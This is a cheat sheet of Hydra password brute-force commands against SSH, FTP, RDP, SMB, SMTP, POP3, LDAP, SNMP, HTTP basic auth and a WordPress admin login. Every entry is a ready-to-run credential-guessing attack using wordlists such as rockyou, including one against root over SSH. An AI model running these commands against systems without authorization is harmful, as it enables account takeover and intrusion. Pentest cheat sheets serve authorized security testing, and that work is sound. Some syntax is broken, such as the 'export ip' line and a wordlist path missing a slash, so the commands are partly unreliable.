Hydra-Cheatsheet

Hydra Password Cracking Cheetsheet

The following table uses the $ip variable which can be set with the following command:

export ip 10.10.10.1

Command	Description
hydra -P password-file.txt -v $ip snmp	Hydra brute force against SNMP
hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp	Hydra FTP known user and rockyou password list
hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh	Hydra SSH using list of users and passwords
hydra -v -V -u -L users.txt -p "known password" -t 1 -u $ip ssh	Hydra SSH using a known password and a username list
hydra $ip -s 22 ssh -l $user -P big_wordlist.txt	Hydra SSH Against Known username on port 22
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V	Hydra POP3 Brute Force
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V	Hydra SMTP Brute Force
hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin	Hydra attack http get 401 login with a dictionary
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip	Hydra attack Windows Remote Desktop with rockyou
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb	Hydra brute force SMB user with rockyou:
hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'	Hydra brute force a Wordpress admin login
hydra -L usernames.txt -P passwords.txt $ip smb -V -f	SMB Brute Forcing
hydra -L users.txt -P passwords.txt $ip ldap2 -V -f	LDAP Brute Forcing

SSH

hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.105 -t 4 ssh